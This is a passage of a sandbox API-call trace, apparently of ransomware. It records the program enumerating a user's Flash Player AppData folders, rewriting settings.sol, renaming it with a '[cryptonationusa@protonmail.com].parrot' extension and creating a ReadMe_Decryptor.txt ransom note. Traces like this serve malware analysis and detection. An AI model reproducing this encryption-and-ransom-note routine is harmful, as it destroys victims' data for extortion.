cFileName="P7Y3F7QB", cAlternateFileName="")) returned 0 [0051.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559c58 | out: hHeap=0x540000) returned 1 [0051.446] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0051.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0051.446] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0051.446] lstrcmpW (lpString1="macromedia.com", lpString2=".") returned 1 [0051.446] lstrcmpW (lpString1="macromedia.com", lpString2="..") returned 1 [0051.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0051.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd6) returned 0x28d0920 [0051.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0051.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0051.446] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0051.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0051.447] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0051.447] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0051.447] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.447] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0051.447] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0051.447] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0051.447] lstrcmpW (lpString1="support", lpString2=".") returned 1 [0051.448] lstrcmpW (lpString1="support", lpString2="..") returned 1 [0051.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559c58 [0051.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5fe998 [0051.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559c58 | out: hHeap=0x540000) returned 1 [0051.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0051.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0051.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0051.448] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0051.448] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0051.448] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.449] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0051.449] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0051.449] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0051.449] lstrcmpW (lpString1="flashplayer", lpString2=".") returned 1 [0051.449] lstrcmpW (lpString1="flashplayer", lpString2="..") returned 1 [0051.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c178 [0051.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x11e) returned 0x575700 [0051.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c178 | out: hHeap=0x540000) returned 1 [0051.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0051.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x28d14a8 [0051.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0051.449] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0051.450] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0051.450] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.451] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0051.451] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0051.451] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 1 [0051.451] lstrcmpW (lpString1="sys", lpString2=".") returned 1 [0051.451] lstrcmpW (lpString1="sys", lpString2="..") returned 1 [0051.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x608ab8 [0051.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0051.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x562228 [0051.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0051.451] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x5dae60 [0051.452] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0051.452] FindNextFileW (in: hFindFile=0x5dae60, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.452] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0051.452] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0051.452] FindNextFileW (in: hFindFile=0x5dae60, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0051.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0051.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.453] lstrcmpW (lpString1="settings.sol", lpString2="ReadMe_Decryptor.txt") returned 1 [0051.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0051.638] GetFileSize (in: hFile=0x2f0, lpFileSizeHigh=0x18e970 | out: lpFileSizeHigh=0x18e970*=0x0) returned 0x1d6 [0051.638] LockFile (hFile=0x2f0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.638] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0051.639] ReadFile (in: hFile=0x2f0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0051.639] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.640] ReadFile (in: hFile=0x2f0, lpBuffer=0x3780040, nNumberOfBytesToRead=0x1d6, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18e8f4*=0x1d6, lpOverlapped=0x0) returned 1 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0051.640] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0051.640] GetLastError () returned 0x0 [0051.640] SetLastError (dwErrCode=0x0) [0051.640] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0051.640] GetLastError () returned 0x0 [0051.640] SetLastError (dwErrCode=0x0) [0051.640] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0051.640] GetLastError () returned 0x0 [0051.640] SetLastError (dwErrCode=0x0) [0051.640] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1e0) returned 0x28d5988 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0051.640] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3b0) returned 0x28d30d0 [0051.640] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0051.640] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0051.641] GetLastError () returned 0x0 [0051.641] SetLastError (dwErrCode=0x0) [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0051.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x563070 [0051.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5fc6d0 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563070 | out: hHeap=0x540000) returned 1 [0051.641] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0051.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0051.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0051.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0051.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0051.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0051.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0051.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0051.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0051.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0051.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0051.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0051.642] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0051.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0051.642] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0051.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x6090e0 [0051.642] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0051.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x563070 [0051.642] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0051.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x5ec8b8 [0051.642] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563070 | out: hHeap=0x540000) returned 1 [0051.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d5988 [0051.642] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ec8b8 | out: hHeap=0x540000) returned 1 [0051.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x5eb458 [0051.642] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0051.642] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x28d4ec8 [0051.642] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0051.642] WriteFile (in: hFile=0x2f0, lpBuffer=0x28d4ec8*, nNumberOfBytesToWrite=0x2f8, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x28d4ec8*, lpNumberOfBytesWritten=0x18e8f4*=0x2f8, lpOverlapped=0x0) returned 1 [0051.642] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d4ec8 | out: hHeap=0x540000) returned 1 [0051.642] UnlockFile (hFile=0x2f0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.642] CloseHandle (hObject=0x2f0) returned 1 [0051.643] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x563070 [0051.643] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x17e) returned 0x5ec8b8 [0051.643] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563070 | out: hHeap=0x540000) returned 1 [0051.643] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0051.644] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ec8b8 | out: hHeap=0x540000) returned 1 [0051.644] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0051.644] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0051.644] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x563070 [0051.644] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x110) returned 0x5fc6d0 [0051.644] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0051.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0051.645] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0051.645] GetFileType (hFile=0x2f0) returned 0x1 [0051.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0051.656] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x5dae60 [0051.656] FindNextFileW (in: hFindFile=0x5dae60, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0xadca1900, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xadca1900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.656] FindNextFileW (in: hFindFile=0x5dae60, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadca1900, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xadca1900, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xadcc7a60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0051.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0051.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0051.656] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0051.656] FindNextFileW (in: hFindFile=0x5dae60, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xadca1900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETTIN~1.PAR")) returned 1 [0051.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db300 [0051.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db300 | out: hHeap=0x540000) returned 1 [0051.656] lstrcmpW (lpString1="settings.sol.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0051.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x150) returned 0x563070 [0051.656] FindNextFileW (in: hFindFile=0x5dae60, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xadca1900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol.[cryptonationusa@protonmail.com].parrot", 